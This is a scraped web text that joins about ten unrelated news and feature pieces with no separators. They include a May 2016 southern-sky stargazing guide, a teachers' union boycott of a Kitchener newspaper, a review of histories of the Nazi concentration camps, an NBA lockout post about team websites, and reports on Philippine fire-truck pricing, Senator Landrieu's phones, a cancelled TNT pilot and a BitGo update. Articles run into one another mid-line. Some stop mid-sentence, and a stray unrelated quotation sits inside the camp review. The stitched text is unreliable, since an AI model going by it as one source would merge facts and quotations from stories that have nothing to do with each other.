Sweep your binoculars to Mimosa. Next to this star is a beautiful group of stars, visible in even suburban skies. This tiny delight is the Jewel Box cluster.
Share The Jewel Box star cluster can be seen in the Southern Cross constellation
Under dark skies the red orange and blue stars make this cluster live up to its name.
If you drew an imaginary line from Acrux to Mimosa, and follow this line for around two binocular widths, you will come to what looks like a ball of cotton wool. This is Omega Centauri, the largest and brightest globular cluster in the sky.
Mars at its brightest — May 22
In May three bright planets grace the evening sky: Mars, Saturn and Jupiter.
If you were watching Mars last month, you would have seen it move down the body of the constellation of Scorpion, coming close to its rival the bright red star Antares, then stop and reverse its motion, getting brighter as it did so.
The Red Planet continues to brighten this month as it moves away from Antares and through the head of the Scorpion.
On May 22, Mars is at opposition when it is brightest; six times brighter than Antares and even brighter than Jupiter.
Also on May 22, the Moon Joins Mars, Antares and Saturn to make a battered square in the sky.
In even small telescopes Mars will swell to a visible disk, with the polar cap visible, and the dark and light regions distinguishable, although you will need a serious telescope to see any detail. Mars will remain bright for the remainder of May.
Saturn's rings will be obvious in even small telescopes.
Share May sky looking east at 10:00pm on May 22, 2016 showing Mars, Antares, Saturn and the Moon.
Jupiter, Venus and Mercury
Jupiter is readily visible all evening long as the brightest object above the north-western horizon at the beginning of the month, by the end of the month it will be seen above the western horizon.
Venus is low in the morning twilight at the beginning of the month and cannot be seen after the 6th.
Mercury returns to the morning sky, and is readily visible above the eastern horizon from around the 25th.
The Moon visits all of the visible planets over the month and its location can help you identify the planets.
May 6: Moon close to Venus May 15: Moon close to Jupiter May 22: Moon close to Mars and SaturnKITCHENER — The federation representing Waterloo Region's public elementary school teachers is asking schools to stop using The Record as a teaching tool for students as part of a union boycott of the newspaper.
The local chapter of the Elementary Teachers' Federation of Ontario is upset over what it calls "teaching bashing" and "anti-teacher rhetoric" by one of the newspaper's opinion columnists, Luisa D'Amato.
In a vote passed last month, the union's executive advises its members to cancel their subscriptions to the newspaper, and encourages other local teachers' unions to do the same.
The union is also extending the boycott to the Newspapers in Education program, which teaches students about their local community and includes features on topics such as antibullying and social justice.
In a memo circulated to its 2,800 members, the union asks elementary school teachers to "encourage their school administrators or office managers not to renew (the program) for the 2016-2017 school year."
Greg Weiler, the union head, said teachers should use alternative news sources, such as the Toronto Star, instead of The Record, to teach students about local issues.
He said his members are advised, but not obligated, to follow the boycott. Weiler said the motion was brought forward by a union member, and not the union's executive.
The internal memo says local teachers have taken issue with they called "one sided reporting" by the columnist for over a year.
"Teachers, as a group, have felt the columnist's reporting is something they have a major issue with when it comes to their profession. They've decided to make that known," he said.
"This was not something done to create a media controversy, and it's something I think people would do whether there was advice out there or not."One night in the autumn of 1944, two Frenchwomen—Loulou Le Porz, a doctor, and Violette Lecoq, a nurse—watched as a truck drove in through the main gates of Ravensbrück, the Nazi concentration camp for women. “There was a lorry,” Le Porz recalled, “that suddenly arrives and it turns around and reverses towards us. And it lifts up and it tips out a whole pile of corpses.” These were the bodies of Ravensbrück inmates who had died doing slave labor in the many satellite camps, and they were now being returned for cremation. Talking, decades later, to the historian and journalist Sarah Helm, whose new book, “Ravensbrück: Life and Death in Hitler’s Concentration Camp for Women” (Doubleday), recounts the stories of dozens of the camp’s inmates, Le Porz says that her reaction was simple disbelief. The sight of a truck full of dead bodies was so outrageous, so out of scale with ordinary experience, that “if we recount that one day, we said to each other, nobody would believe us.” The only way to make the scene credible would be to record it: “If one day someone makes a film they must film this scene. This night. This moment.” Le Porz’s remark was prophetic. The true extent of Nazi barbarity became known to the world in part through the documentary films made by Allied forces after the liberation of other German camps. There have been many atrocities committed before and since, yet to this day, thanks to those images, the Nazi concentration camp stands as the ultimate symbol of evil. The very names of the camps—Dachau, Bergen-Belsen, Buchenwald, Auschwitz—have the sound of a malevolent incantation. They have ceased to be ordinary place names—Buchenwald, after all, means simply “beech wood”—and become portals to a terrible other dimension. To write the history of such an institution, as Nikolaus Wachsmann sets out to do in another new book, “KL: A History of the Nazi Concentration Camps” (Farrar, Straus & Giroux), might seem impossible, like writing the history of Hell. And, certainly, both his book and Helm’s are full of the kind of details that ordinarily appear only in Dantesque visions. Helm devotes a chapter to Ravensbrück’s Kinderzimmer, or “children’s room,” where inmates who came to the camp pregnant were forced to abandon their babies; the newborns were left to die of starvation or be eaten alive by rats. Wachsmann quotes a prisoner at Dachau who saw a transport of men afflicted by dysentery arrive at the camp: “We saw dozens... with excrement running out of their trousers. Their hands, too, were full of excrement and they screamed and rubbed their dirty hands across their faces.” These sights, like the truck full of bodies, are not beyond belief—we know that they were true—but they are, in some sense, beyond imagination. It is very hard, maybe impossible, to imagine being one of those men, still less one of those infants. And such sights raise the question of why, exactly, we read about the camps. If it is merely to revel in the grotesque, then learning about this evil is itself a species of evil, a further exploitation of the dead. If it is to exercise sympathy or pay a debt to memory, then it quickly becomes clear that the exercise is hopeless, the debt overwhelming: there is no way to feel as much, remember as much, imagine as much as the dead justly demand. What remains as a justification is the future: the determination never again to allow something like the Nazi camps to exist. And for that purpose it is necessary not to think of the camps simply as a hellscape. Reading Wachsmann’s deeply researched, groundbreaking history of the entire camp system makes clear that Dachau and Buchenwald were the products of institutional and ideological forces that we can understand, perhaps all too well. Indeed, it’s possible to think of the camps as what happens when you cross three disciplinary institutions that all societies possess—the prison, the army, and the factory. Over the several phases of their existence, the Nazi camps took on the aspects of all of these, so that prisoners were treated simultaneously as inmates to be corrected, enemies to be combatted, and workers to be exploited. When these forms of dehumanization were combined, and amplified to the maximum by ideology and war, the result was the Konzentrationlager, or K.L.
Though we tend to think of Hitler’s Germany as a highly regimented dictatorship, in practice Nazi rule was chaotic and improvisatory. Rival power bases in the Party and the German state competed to carry out what they believed to be Hitler’s wishes. This system of “working towards the Fuhrer,” as it was called by Hitler’s biographer Ian Kershaw, was clearly in evidence when it came to the concentration camps. The K.L. system, during its twelve years of existence, included twenty-seven main camps and more than a thousand subcamps. At its peak, in early 1945, it housed more than seven hundred thousand inmates. In addition to being a major penal and economic institution, it was a central symbol of Hitler’s rule. Yet Hitler plays almost no role in Wachsmann’s book, and Wachsmann writes that Hitler was never seen to visit a camp. It was Heinrich Himmler, the head of the S.S., who was in charge of the camp system, and its growth was due in part to his ambition to make the S.S. the most powerful force in Germany. Long before the Nazis took power, concentration camps had featured in their imagination. Wachsmann finds Hitler threatening to put Jews in camps as early as 1921. But there were no detailed plans for building such camps when Hitler was named Chancellor of Germany, in January, 1933. A few weeks later, on February 27th, he seized on the burning of the Reichstag—by Communists, he alleged—to launch a full-scale crackdown on his political opponents. The next day, he implemented a decree, “For the Protection of People and State,” that authorized the government to place just about anyone in “protective custody,” a euphemism for indefinite detention. (Euphemism, too, was to be a durable feature of the K.L. universe: the killing of prisoners was referred to as Sonderbehandlung, “special treatment.”) During the next two months, some fifty thousand people were arrested on this basis, in what turned into a “frenzy” of political purges and score-settling. In the legal murk of the early Nazi regime, it was unclear who had the power to make such arrests, and so it was claimed by everyone: national, state, and local officials, police and civilians, Party leaders. “Everybody is arresting everybody,” a Nazi official complained in the summer of 1933. “Everybody threatens everybody with Dachau.” As this suggests, it was already clear that the most notorious and frightening destination for political detainees was the concentration camp built by Himmler at Dachau, in Bavaria. The prisoners were originally housed in an old munitions factory, but soon Himmler constructed a “model camp,” the architecture and organization of which provided the pattern for most of the later K.L. The camp was guarded not by police but by members of the S.S.—a Nazi Party entity rather than a state force. These guards were the core of what became, a few years later, the much feared Death’s-Head S.S. The name, along with the skull-and-crossbones insignia, was meant to reinforce the idea that the men who bore it were not mere prison guards but front-line soldiers in the Nazi war against enemies of the people. Himmler declared, “No other service is more devastating and strenuous for the troops than just that of guarding villains and criminals.” The ideology of combat had been part of the DNA of Nazism from its origin, as a movement of First World War veterans, through the years of street battles against Communists, which established the Party’s reputation for violence. Now, in the years before actual war came, the K.L. was imagined as the site of virtual combat—against Communists, criminals, dissidents, homosexuals, Jehovah’s Witnesses, and Jews, all forces working to undermine the German nation. The metaphor of war encouraged the inhumanity of the S.S. officers, which they called toughness; licensed physical violence against prisoners; and accounted for the military discipline that made everyday life in the K.L. unbearable. Particularly hated was the roll call, or Appell, which forced inmates to wake before dawn and stand outside, in all weather, to be counted and recounted. The process could go on for hours, Wachsmann writes, during which the S.S. guards were constantly on the move, punishing “infractions such as poor posture and dirty shoes.” The K.L. was defined from the beginning by its legal ambiguity. The camps were outside ordinary law, answerable not to judges and courts but to the S.S. and Himmler. At the same time, they were governed by an extensive set of regulations, which covered everything from their layout (including decorative flower beds) to the whipping of prisoners, which in theory had to be approved on a case-by-case basis by Himmler personally. Yet these regulations were often ignored by the camp S.S.—physical violence, for instance, was endemic, and the idea that a guard would have to ask permission before beating or even killing a prisoner was laughable. Strangely, however, it was possible, in the prewar years, at least, for a guard to be prosecuted for such a killing. In 1937, Paul Zeidler was among a group of guards who strangled a prisoner who had been a prominent churchman and judge; when the case attracted publicity, the S.S. allowed Zeidler to be charged and convicted. (He was sentenced to a year in jail.) In “Ravensbrück,” Helm gives a further example of the erratic way the Nazis treated their own regulations, even late in the war. In 1943, Himmler agreed to allow the Red Cross to deliver food parcels to some prisoners in the camps. To send a parcel, however, the Red Cross had to mark it with the name, number, and camp location of the recipient; requests for these details were always refused, so that there was no way to get desperately needed supplies into the camps. Yet when Wanda Hjort, a young Norwegian woman living in Germany, got hold of some prisoners’ names and numbers—thanks to inmates who smuggled the information to her when she visited the camp at Sachsenhausen—she was able to pass them on to the Norwegian Red Cross, whose packages were duly delivered. This game of hide-and-seek with the rules, this combination of hyper-regimentation and anarchy, is what makes Kafka’s “The Trial” seem to foretell the Nazi regime. “And, as you drive, it will also use all the negative energy from your arguments.” Even the distinction between guard and prisoner could become blurred. From early on, the S.S. delegated much of the day-to-day control of camp life to chosen prisoners known as Kapos. This system spared the S.S. the need to interact too closely with prisoners, whom they regarded as bearers of filth and disease, and also helped to divide the inmate population against itself. Helm shows that, in Ravensbrück, where the term “Blockova” was used, rather than Kapo, power struggles took place among prisoner factions over who would occupy the Blockova position in each barrack. Political prisoners favored fellow-activists over criminals and “asocials”—a category that included the homeless, the mentally ill, and prostitutes—whom they regarded as practically subhuman. In some cases, Kapos became almost as privileged, as violent, and as hated as the S.S. officers. In Ravensbrück, the most feared Blockova was the Swiss ex-spy Carmen Mory, who was known as the Black Angel. She was in charge of the infirmary, where, Helm writes, she “would lash out at the sick with the whip or her fists.” After the war, she was one of the defendants tried for crimes at Ravensbrück, along with S.S. leaders and doctors. Mory was sentenced to death but managed to commit suicide first.
At the bottom of the K.L. hierarchy, even below the criminals, were the Jews. Today, the words “concentration camp” immediately summon up the idea of the Holocaust, the genocide of European Jews by the Nazis; and we tend to think of the camps as the primary sites of that genocide. In fact, as Wachsmann writes, as late as 1942 “Jews made up fewer than five thousand of the eighty thousand KL inmates.” There had been a temporary spike in the Jewish inmate population in November, 1938, after Kristallnacht, when the Nazis rounded up tens of thousands of Jewish men. But, for most of the camps’ first decade, Jewish prisoners had usually been sent there not for their religion, per se, but for specific offenses, such as political dissent or illicit sexual relations with an Aryan. Once there, however, they found themselves subject to special torments, ranging from running a gantlet of truncheons to heavy labor, like rock-breaking. As the chief enemies in the Nazi imagination, Jews were also the natural targets for spontaneous S.S. violence—blows, kicks, attacks by savage dogs. The systematic extermination of Jews, however, took place largely outside the concentration camps. The death camps, in which more than one and a half million Jews were gassed—at Belzec, Sobibór, and Treblinka—were never officially part of the K.L. system. They had almost no inmates, since the Jews sent there seldom lived longer than a few hours. By contrast, Auschwitz, whose name has become practically a synonym for the Holocaust, was an official K.L., set up in June, 1940, to house Polish prisoners. The first people to be gassed there, in September, 1941, were invalids and Soviet prisoners of war. It became the central site for the deportation and murder of European Jews in 1943, after other camps closed. The vast majority of Jews brought to Auschwitz never experienced the camp as prisoners; more than eight hundred thousand of them were gassed upon arrival, in the vast extension of the original camp known as Birkenau. Only those picked as capable of slave labor lived long enough to see Auschwitz from the inside. Many of the horrors associated with Auschwitz—gas chambers, medical experiments, working prisoners to death—had been pioneered in earlier concentration camps. In the late thirties, driven largely by Himmler’s ambition to make the S.S. an independent economic and military power within the state, the K.L. began a transformation from a site of punishment to a site of production. The two missions were connected: the “work-shy” and other unproductive elements were seen as “useless mouths,” and forced labor was a way of making them contribute to the community. Oswald Pohl, the S.S. bureaucrat in charge of economic affairs, had gained control of the camps by 1938, and began a series of grandiose building projects. The most ambitious was the construction of a brick factory near Sachsenhausen, which was intended to produce a hundred and fifty million bricks a year, using cutting-edge equipment and camp labor. The failure of the factory, as Wachsmann describes it, was indicative of the incompetence of the S.S. and the inconsistency of its vision for the camps. To turn prisoners into effective laborers would have required giving them adequate food and rest, not to mention training and equipment. It would have meant treating them like employees rather than like enemies. But the ideological momentum of the camps made this inconceivable. Labor was seen as a punishment and a weapon, which meant that it had to be extorted under the worst possible circumstances. Prisoners were made to build the factory in the depths of winter, with no coats or gloves, and no tools. “Inmates carried piles of sand in their uniforms,” Wachsmann writes, while others “moved large mounds of earth on rickety wooden stretchers or shifted sacks of cement on their shoulders.” Four hundred and twenty-nine prisoners died and countless more were injured, yet in the end not a single brick was produced. This debacle did not discourage Himmler and Pohl. On the contrary, with the coming of war, in 1939, S.S. ambitions for the camps grew rapidly, along with their prisoner population. On the eve of the war, the entire K.L. system contained only about twenty-one thousand prisoners; three years later, the number had grown to a hundred and ten thousand, and by January, 1945, it was more than seven hundred thousand. New camps were built to accommodate the influx of prisoners from conquered countries and then the tens of thousands of Red Army soldiers taken prisoner in the first months after Operation Barbarossa, the German invasion of the U.S.S.R. The enormous expansion of the camps resulted in an exponential increase in the misery of the prisoners. Food rations, always meagre, were cut to less than minimal: a bowl of rutabaga soup and some ersatz bread would have to sustain a prisoner doing heavy labor. The result was desperate black marketing and theft. Wachsmann writes, “In Sachsenhausen, a young French prisoner was battered to death in 1941 by an SS block leader for taking two carrots from a sheep pen.” Starvation was endemic and rendered prisoners easy prey for typhus and dysentery. At the same time, the need to keep control of so many prisoners made the S.S. even more brutal, and sadistic new punishments were invented. The “standing commando” forced prisoners to stand absolutely still for eight hours at a time; any movement or noise was punished by beatings. The murder of prisoners by guards, formerly an exceptional event in the camps, now became unremarkable. But individual deaths, by sickness or violence, were not enough to keep the number of prisoners within manageable limits. Accordingly, in early 1941 Himmler decided to begin the mass murder of prisoners in gas chambers, building on a program that the Nazis had developed earlier for euthanizing the disabled. Here, again, the camps’ sinister combination of bureaucratic rationalism and anarchic violence was on display. During the following months, teams of S.S. doctors visited the major camps in turn, inspecting prisoners in order to select the “infirm” for gassing. Everything was done with an appearance of medical rigor. The doctors filled out a form for each inmate, with headings for “Diagnosis” and “Incurable Physical Ailments.” But it was all mere theatre. Helm’s description of the visit of Dr. Friedrich Mennecke to Ravensbrück, in November, 1941, shows that inspections of prisoners—whom he referred to in letters home as “forms” or “portions”—were cursory at best, with the victims parading naked in front of the doctors at a distance of twenty feet. (Jewish prisoners were automatically “selected,” without an examination.) In one letter, Mennecke brags of having disposed of fifty-six “forms” before noon. Those selected were taken to an undisclosed location for gassing; their fate became clear to the remaining Ravensbrück prisoners when the dead women’s clothes and personal effects arrived back at the camp by truck. Under this extermination program, known to S.S. bureaucrats by the code Action 14f13, some sixty-five hundred prisoners were killed in the course of a year. By early 1942, it had become obsolete, as the scale of death in the camps increased. Now the killing of weak and sick prisoners was carried out by guards or camp doctors, sometimes in gas chambers built on site. Those who were still able to work were increasingly auctioned off to private industry for use as slave labor, in the many subcamps that began to spring up around the main K.L. At Ravensbrück, the Siemens corporation established a factory where six hundred women worked twelve-hour shifts building electrical components. The work was brutally demanding, especially for women who were sick, starved, and exhausted. Helm writes that “Siemens women suffered severely from boils, swollen legs, diarrhea and TB,” and also from an epidemic of nervous twitching. When a worker reached the end of her usefulness, she was sent back to the camp, most likely to be killed. It was in this phase of the camp’s life that sights like the one Loulou Le Porz saw at Ravensbrück—a truck full of prisoners’ corpses—became commonplace. By the end of the war, the number of people who had died in the concentration camps, from all causes—starvation, sickness, exhaustion, beating, shooting, gassing—was more than eight hundred thousand. The figure does not include the hundreds of thousands of Jews gassed on arrival at Auschwitz. If the K.L. were indeed a battlefront, as the Death’s-Head S.S. liked to believe, the deaths, in the course of twelve years, roughly equalled the casualties sustained by the Axis during the Battle of Stalingrad, among the deadliest actual engagements of the war. But in the camps the Nazis fought against helpless enemies. Considered as prisons, too, the K.L. were paradoxical: it was impossible to correct or rehabilitate people whose very nature, according to Nazi propaganda, was criminal or sick. And as economic institutions they were utterly counterproductive, wasting huge numbers of lives even as the need for workers in Germany became more and more acute.NBA Deletes Evidence Of Players From All Team Websites Due To Intellectual Property
from the wow dept
That's because the moment the clock strikes midnight on the current CBA, all those images and videos of NBA players have to disappear off NBA-owned digital properties. Depending on how you interpret "fair use," the prohibition could include the mere mention of a player's name on an NBA-owned site, though different teams have different interpretations of this particular stipulation.
There are additional gray areas that are still up for discussion: What about a photo of a Lakers fan wearing a No. 24 Kobe Bryant jersey? What about a retrospective feature on the John Stockton-Karl Malone Jazz teams? Do tweets from the team's official Twitter feed that mention a player and/or link to an image need to be deleted? How about Facebook posts?
Nobody seems to know for certain the definitive answers to these questions and the criteria seem to be arbitrary. According to more than one team website staffer, the cutoff for images of retired players right now stands at 1992-93 -- Shaquille O'Neal's first season in the league. And social media is an area they're still grappling with as the deadline approaches.
However strict the boundaries, overhauling the architecture of these sites is a painstaking process that has a lot of talented web people around the league very stressed out. The NBA has built and furnished each team with a website "wire frame" that will take the place of the existing, much more sophisticated site. The wire frame is a rudimentary version of the site, without a lot of the snazzy technology we've grown accustomed to seeing. As a result, each of the 30 team sites will look virtually identical.
As you may have heard, the NBA and the NBA Players Association did not hit their deadline last night to reach a new collective bargaining agreement, and thus began a lockout/work stoppage. Of course, we're not a sports blog, so what's interesting about that for us? Well.... apparently over the last few days, the webmasters for all of the NBA team websites have been scrambling like mad, because they believe that when the players are locked out, there can be no mention or image of any player on any NBA webpage That's from ESPN... who doesn't give any more detail as to what it is they actually think would be infringing here. It's certainly not, even though that's implied. There's no copyright in names. And the copyright on the images would be held by whoever took the images, not the players. I'm assuming this is more of a publicity rights issue, which we've been discussing a lot lately. But those are generally based on a patchwork of state laws. And, even so, I can't quite see how that would prevent teams fromlisting players who were on the team. That's factual information. But not according to the teams:It looks like those "new" sites are in place. I've looked around at a few team sites, and while they may have old players (from decades ago), most traces of modern players have disappeared. Theylist the names of players on the team under the "team" tab, but otherwise, the players seem almost entirely absent. And for what reason? Intellectual property shouldn't be part of a labor fight. It's got nothing to do with that. The whole thing just seems silly.
Filed Under: basketball, copyright, fair use, lockout, publicity rights, web sites
Companies: nbaIf you watch any amount of HGTV — which is to say, if you are a middle-aged married person — then you’ve probably noticed something funny: A lot of the people on shows such as “Property Brothers” seem to have Canadian accents. And you’ve probably noticed something else a bit funny: Those people are paying a heck of a lot for claustrophobic rowhouses on so-so streets.
[np_storybar title=”Vancouver’s housing market ranked second most unaffordable in the world” link=”https://business.financialpost.com/2015/01/20/vancouvers-housing-market-ranked-second-most-unaffordable-in-the-world/”%5D Vancouver’s affordability ranking in 2015 is the worst it has ever been in the international survey’s 11-year history — and it’s the only Canadian city to make the top 10. Read on
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Canada is one of the few Western nations that survived the financial crisis nearly unscathed. My working theory has long been that this is because the Canadian banking system is run by Canadians, a very sensible people. But it’s reasonable to ask whether Canada’s relative stability might not have something to do with the price of oil, because Canada is sitting on a large supply of “nontraditional” (read: “expensive to extract”) petroleum, mostly in Alberta. And as David Parkinson, economics reporter at the Globe and Mail, has written, their economic growth has been substantially goosed by those deposits:
How much does Alberta matter? Well, as with any good native Albertan (full disclosure – born and raised), my knee-jerk tendency is to say “way more than the rest of you bastards combined.” But in the current Canadian economy, that’s alarmingly close to accurate. Alberta contributed one-third of Canada’s economic growth last year, and is by far the fastest-growing province in the country again this year. Since the beginning of 2013, nearly half the jobs created in the country were in Alberta.... The oil sector has not only been leading the way in Canada’s export recovery, it has also been the big driver in business capital investment in the country. That means the sector has been leading the way in the two key areas that the Bank of Canada has repeatedly identified as critical to sustaining Canada’s recovery. Lower prices could stifle energy’s contribution on both fronts; they are not only an automatic drag on the value of exports, they are also a notorious capital-spending killer.
Canadians have been worrying more and more about a housing bubble. In that context, it’s worth examining whether the fall in oil prices will be what finally causes the bubble |
heard because there are people who are trying to shut down the voices of our community," Wheeler said. "I'm not going to allow that to happen."
Note: This story was updated to more accurately reflect how long protesters can could get suspended under the new rule. City officials can suspend disrupters for up to two months.
--Jessica Floum
503-221-8306OPPOSITION lawmakers on Monday accused President Benigno Aquino III and Local Governments Secretary Manuel Roxas II of authorizing the importation of 76 overpriced fire trucks for P20.14 million each, rather than the P7 million that the administration publicized in 2012, or P6 million each for locally manufactured units. Abakada Rep. Jonathan dela Cruz, Bayan Muna Rep. Antonio Carlos Zarate and former Agham congressman Angelo Palmones also warned the President and Roxas against importing 300 more firetrucks from the same source, Rosenbauer of Austria. Dela Cruz vowed to summon Roxas to a Question Hour in Congress to shed light on charges that the Rosenbauer fire trucks were priced even higher than those contracted by the previous Arroyo administration. After President Aquino came to power in 2010, the Liberal Party led by Roxas questioned the loan concession that the Arroyo administration had signed with Rosenbauer in 2008 or 2009, saying that the contract price of each unit, at P16 million, was too high. Local Governments Secretary Jesse Robredo, also a Liberal, had branded the loan contract “onerous,” prompting the Aquino administration to renegotiate the deal, government to government. Robredo had publicly announced that the renegotiation was successful and that the Philippine government had managed to obtain a 40 percent grant from the Austrian government that supposedly lowered the price of each truck from P16 million to only P7 million. Shortly before he died in a plane crash in August 2012, Robredo told the Manila Standard that the Philippine government had already signed the supply contract and boasted that a “lot of savings” had been generated because the units were priced at P7 million each. But a 44-page supply contract signed Dec. 14, 2011 by Robredo and Ralpf Schmid, vice president for international sales at Rosenbauer, a copy of which was obtained by the Manila Standard, showed the total contract price was EU20.49 million or about P1.33 billion—which worked out to P17.52 million per truck. The signing of the P1.33-billion loan agreement was held on the same day that President Aquino issued a “special authority” to proceed, Palace documents show. “All prices mentioned in this contract (EU20.49 million or P1.33 billion) and payments to the benefit of the supplier (Rosenbauer) shall be made in euro,” the supply contract said. But import duties and taxes and local transport were not part of the contract price, and these were to be paid by the buyer, in this case, the Philippine government. Dela Cruz said this clause raised the grand total of the purchase to P1.53 billion or P20.14 million per truck. The supply contract signing was witnessed by Bureau of Fire Protection Chief Supt. Samuel Perez and Austrian Embassy Commercial Attache Isabel Schmiedbauer. “We demand that Congress summon Roxas to a Question Hour to explain why, despite the overpricing, the DILG plans to acquire 300 more fire trucks from the same source of the overpriced units,” Dela Cruz said. “The Aquino administration should conduct a thorough due diligence check and postpone the purchase of 300 fire trucks until the overpricing issue of the 76 units delivered had been resolved,” Zarate added, noting that former Bayan Muna congressman Teddy Casino had already exposed this during the 15th Congress. “The DILG, the BFP and the contractor should be made to explain first before proceeding with the purchase of 300 additional fire trucks. If there explanations are not satisfactory, if need be, these people should be penalized instead of proceeding with the total purchase,” Zarate said. Palmones was among the first to question the government’s decision to prefer to import fire trucks in the 15th Congress when the country has a local manufacturer that sold a “tropicalized fire truck” invented by a Filipino entrepreneur at only P6 million to P9 million per unit. “At the time of the contract signing, Robredo announced that the present value per unit of fire truck was at P7,077,494.34 or P537,889,57 million for the 76 units or 40.37 percent of the total loan amount valued at P1,332,093,100. How come the formula they used made the fire truck appreciate the value to P20.14 million? This is the first time I hear that the value of a fire truck can appreciate instead of depreciate its value over 17-and-a-half years,” Palmones said. Palmones had filed a House resolution to give priority to local manufacturers but House leaders at the time, mostly members of the Liberal Party, archived the measure. The Palace documents, particularly those presented and submitted to the President, showed that the Aquino government renegotiated the total contract price at an exchange rate of P65 to a euro.But when the loan contract was signed on Jan. 12, 2012, or on the same day that the President gave it a go, the prevailing euro to peso exchange rate was pegged at P56.50. “The President was well aware of the scandalous and anomalous overpricing and onerous loan agreement yet he still gave the go to proceed with the procurement at the expense of the taxpayers as the loan deal and the supply contracts were onerous and caused undue disadvantage to the government,” Dela Cruz said. In 2012, the highest rate was at P57.68 to a euro on Feb. 24 and the average for the year was P54.28. The peso weakened to P65 to a euro during the time of the Arroyo administration in 2009 then reached a maximum of P70.89 on Oct. 22, 2009. In 2011, the highest per euro was at P63.82 in May and the average for the year was at P60.28. In 2013, the highest was P61.34 on Dec. 30 and the average was P56.38. “Is it possible that the Palace men may have made a mistake like a typographical error so instead of P56, it became P65 to a euro?” Dela Cruz asked. “Last time we checked, the euro-peso exchange rate never reached P65 during the Aquino government since 2010 up until now. So where did President Aquino and the DILG get the exchange rate of P65? Because that mistake had cost the taxpayers several millions,” said Dela Cruz, a member of the independent minority bloc in the House, said. The loan agreement became effective on April 16, 2012 when the prevailing exchange rate was at P56.16 to a euro, Palace documents showed. The first four shipments were made from October 2012 to March 2013 and arrived in the country starting January 2013 up to May 2013 or before and during the election campaign period with 50 units worth P1 billion distributed to various provinces and fire stations all over the country, Palace documents showed. The last two shipments, involving 26 units worth P523.64 million, were made starting June 2013 and ended in November 2013, with all six deliveries received and distributed nationwide by Roxas. Dela Cruz said he could not help but notice that the purchase and distribution nationwide of 76 imported units had been made before, during and after the 2013 midterm senatorial elections under Roxas’ leadership while the next planned 300 units would be made at the onset of the 2016 presidential elections, when Roxas is expected to be the Liberal Party standard bearer. After President Aquino gave the green light by issuing a special authority to proceed with the signing of the loan agreement, the country’s economic team all endorsed the deal. The Monetary Board approved the project on Feb. 16, 2012 that was affirmed by the Justice Department on March 1, 2012. The Finance Department, led by Secretary Ceasar Purisima, was authorized to act as the “borrower” on behalf of the Philippine government and the Department of Budget and Management, headed by Secretary Florencio Abad, who was the President’s campaign manager in the 2010 presidential polls, approved the project’s Forward Obligation Authority. Purisima and Abad were members of the LP and part of the Balay Group headed by Roxas against another faction in the Palace, the Samar Group, led by Executive Secretary Paquito Ochoa Jr. Taxpayers will be paying the loan for 17.5 years, including the 3.5-year grace period at an interest rate of 1 percent per annum, but with a grant of supposedly 40 percent as a concession from the Austrian government. The payment period for the principal payments comes in 28 equal semi-annual payments at P47.57 million while interest charges range from a low of P999,069 to a high of P66.66 million. The Philippine government paid a total of P185.46 million in taxes and duties and P13.32 million in “project administration.” A total of P198.78 million was thus added to the total loan amount of P1.33 billion, bringing the grand total to P1.53 billion.The belief that the office of Ms. Landrieu, a Democrat, was not taking calls gained momentum around Louisiana in November and December. A spokesman for Ms. Landrieu said that the office has never intentionally avoided any phone calls and that a wave of calls to Senate offices had caused problems in the voice-mail systems of several senators.
But because many Louisiana residents have expressed displeasure with the health care plan that Ms. Landrieu has supported in the Senate, driven by an energized group of Tea Party activists in the state, the phone problems became an issue unto themselves.
In late December, a group of about 100 Tea Party activists and supporters of the Family Research Council, a conservative organization, picketed outside her Baton Rouge office, many of them accusing Ms. Landrieu of not responding to their calls.
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“We were stunned to learn that so many phone calls to Senator Landrieu have been unanswered and met with continuous busy signals,” Tony Perkins, president of the Family Research Council, was quoted as saying by The Advocate of Baton Rouge.
Dwight Hudson, a member of the Baton Rouge Tea Party, said he sent out alerts to fellow members, urging them to call their senators to urge them to vote against the health care legislation. But, Mr. Hudson said, many complained that their calls to Ms. Landrieu’s office would go to a voice-mail box that was already full. The march, he said, was partly inspired by that.
“A lot of people were saying that they couldn’t get through so they had to get their voice heard somewhere,” he said.
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Ms. Landrieu said at the time that her office had received a high volume of calls.
“Our lines have been jammed for weeks, and I apologize,” she said in interview with The Advocate in December. In an interview on Thursday, Ms. Landrieu said she knew of no recent issues with her phone system or her staff’s response to callers, either in Louisiana or in Washington.
“Our phone rings off the hook all day long, and we answer it and pick it up,” she said. “Like every Senate office I’m imagining does.”
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Ms. Landrieu said her staff was immediately skeptical of the men who came to the office on Monday dressed as repairmen, and walked them to the offices of the General Services Administration, which are on the same floor. The agency is in charge of the phone system at her New Orleans office, the senator said.
“Thank goodness I have very good staffers,” Ms. Landrieu said.
She said the men did not provide credentials when asked by a G.S.A. official. Agency officials later called United States marshals, who arrested the men.
Ms. Landrieu said she remained curious about the men’s motives, and said people should not necessarily “buy their spin” about their intentions.
“The fact is that they entered a federal building under false pretenses, period,” she said. “And it’s wrong. And it may be illegal.”
Mr. O’Keefe remains in demand as a speaker to conservative groups, but may have to curtail his travels for a while. The conditions of his release, imposed by the federal court on Tuesday, require him to live with his parents in Westwood, N.J., until his case is resolved. He can travel outside New Jersey only with the permission of the court.TNT has opted not to proceed with its pilot Civil. The political and social drama was a hot prospect when it was picked up to pilot in May, as its plot sounded ominously close to real-life current events. Written by A Simple Plan scribe Scott Smith and directed by Allen Coulter, Civil, which secured a solid cast led by Bradley Whitford, Courtney B. Vance, Toby Jones and Enrique Murciano, takes place in the wake of a hotly contested Presidential election, as America finds itself plunging uncontrollably into a modern day Civil War. The series weaves together the personal stories of citizens from all walks of life, whose actions – amplified in an age of instant media – add fuel to the conflict and affect the fate of the entire country.
TNT brass were high on the project for a series order, and backup scripts were ordered while the pilot was being filmed over the summer, just as the Presidential election campaign was growing more contentions by the day. There was an idea to preview the pilot in the fall, around the November vote, and then launch the series in January. Those potential plans were put on hold when the pilot was delivered in August. A decision was made not to rush the project to series. The network eventually passed on it. Some observers say it may have felt too close to home.
One of the Civil cast members, Emmy-winning People v. O.J. Simpson star Vance, already has lined up his next gig — a co-lead role opposite Felicity Huffman in another politically-themed pilot, hot ABC comedy Libby & Malcolm, from Black-ish creator/executive producer Kenya Barris and co-executive producer Vijal Patel.
Civil, from TNT Originals in association with MGM Television, was executive produced by Smith, Thomas Kelly, who served as showrunner and Lloyd Braun.BitGo has recently announced a number of updates, allowing users to access security controls previously confined to enterprises. It has now integrated multi-user bitcoin wallets, risk controls and spending limits. Moreover, users will now be able to 'whitelist' bitcoin addresses.
The upgrade also includes the enabling of key features asked by its customers, along with "secure wallet sharing, address labelling and advanced auditing capabilities."
